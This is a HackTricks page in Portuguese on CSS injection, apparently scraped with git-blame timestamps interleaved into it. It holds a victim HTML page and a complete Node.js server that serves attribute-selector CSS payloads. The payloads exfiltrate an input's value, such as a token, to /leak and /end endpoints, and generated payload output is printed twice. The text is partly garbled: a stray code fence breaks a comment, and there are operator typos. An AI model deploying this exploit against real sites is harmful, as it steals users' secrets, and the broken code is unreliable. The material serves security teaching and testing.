2023-06-06 18:56:34 +00:00
# Código de Injeção de CSS
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 02:10:17 +00:00
< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 02:10:17 +00:00
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-09 02:10:17 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:15:58 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-09 02:10:17 +00:00
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2022-04-28 16:01:33 +00:00
< / details >
2022-04-05 22:03:49 +00:00
{% code title="victim.html" %}
```html
<!doctype html>
< body >
2023-09-03 01:19:04 +00:00
< div > < article > < div > < p > < div > < div > < div > < div > < div >
2022-04-05 22:03:49 +00:00
< input type = "text" value = "1234567890" >
< style >
@import url('//localhost:5001/start?');
< / style >
```
2024-01-10 17:13:17 +00:00
{% endcode %}
2022-04-05 22:03:49 +00:00
{% code title="server.js" %}
```javascript
const http = require('http');
const url = require('url');
// Port to exfiltrate to
const port = 5001;
// Host to exfiltrate to
const HOSTNAME = "http://localhost:5001";
const DEBUG = false;
var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;
const requestHandler = (request, response) => {
2023-09-03 01:19:04 +00:00
let req = url.parse(request.url, url);
log('\treq: %s', request.url);
//If stop, leakeage is finished
if (stop) return response.end();
switch (req.pathname) {
// This only launched when starting the leakeage
case "/start":
genResponse(response);
break;
// Everytime something is leaked
case "/leak":
response.end();
// If response comes with a pre, then we leaked some preffix s(E)cret
if (req.query.pre & & prefix !== req.query.pre) {
prefix = req.query.pre;
// If response comes with a post, then we leaked some suffix secre(T)
} else if (req.query.post & & postfix !== req.query.post) {
postfix = req.query.post;
} else {
break;
}
// Always a pre and a post response must arrived before responding the "next" @import (which is waiting for response)
if (ready == 2) {
genResponse(pending.shift());
ready = 0;
} else {
ready++;
log('\tleak: waiting others...');
}
break;
// While waiting for a pre and a post, the next @import is waiting to be responded
// by a new generated payload with another "pre" and "post"
case "/next":
if (ready == 2) {
genResponse(respose);
ready = 0;
} else {
pending.push(response);
ready++;
log('\tquery: waiting others...');
}
break;
// Called when the secret is leaked
case "/end":
stop = true;
console.log('[+] END: %s', req.query.token);
default:
response.end();
}
2022-04-05 22:03:49 +00:00
}
const genResponse = (response) => {
2023-09-03 01:19:04 +00:00
// Verbose output to know what do we know
console.log('...pre-payoad: ' + prefix);
console.log('...post-payoad: ' + postfix);
// Payload generation, you have an example of what is generated below
let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
[0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)}; ';
response.writeHead(200, { 'Content-Type': 'text/css'});
response.write(css);
response.end();
n++;
2022-04-05 22:03:49 +00:00
}
// Server listening
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
2023-09-03 01:19:04 +00:00
if (err) {
return console.log('[-] Error: something bad happened', err);
}
console.log('[+] Server is listening on %d', port);
2022-04-05 22:03:49 +00:00
})
function log() {
2023-09-03 01:19:04 +00:00
if (DEBUG) console.log.apply(console, arguments);
2022-04-05 22:03:49 +00:00
}
/*
HTTP/1.1 200 OK
Content-Type: text/css
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
/*
HTTP/1.1 200 OK
Content-Type: text/css
2024-01-10 17:13:17 +00:00
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
2022-04-05 22:03:49 +00:00
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
input[value$="1"]{--e0:url(http://localhost:5001/leak?post=1)}
input[value$="2"]{--e0:url(http://localhost:5001/leak?post=2)}
input[value$="3"]{--e0:url(http://localhost:5001/leak?post=3)}
input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
2024-03-09 13:15:58 +00:00
```html
2022-04-05 22:03:49 +00:00
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
input[value$="b"]{--e0:url(http://localhost:5001/leak?post=b)}
input[value$="c"]{--e0:url(http://localhost:5001/leak?post=c)}
input[value$="d"]{--e0:url(http://localhost:5001/leak?post=d)}
input[value$="e"]{--e0:url(http://localhost:5001/leak?post=e)}
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="a"]{--s0:url(http://localhost:5001/leak?pre=a)}
input[value^="b"]{--s0:url(http://localhost:5001/leak?pre=b)}
input[value^="c"]{--s0:url(http://localhost:5001/leak?pre=c)}
input[value^="d"]{--s0:url(http://localhost:5001/leak?pre=d)}
input[value^="e"]{--s0:url(http://localhost:5001/leak?pre=e)}
input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
2024-01-10 17:13:17 +00:00
```
2022-04-05 22:03:49 +00:00
{% endcode %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:15:58 +00:00
< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 02:10:17 +00:00
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-09 02:10:17 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2024-03-09 13:15:58 +00:00
* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-09 02:10:17 +00:00
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:15:58 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2022-04-28 16:01:33 +00:00
< / details >
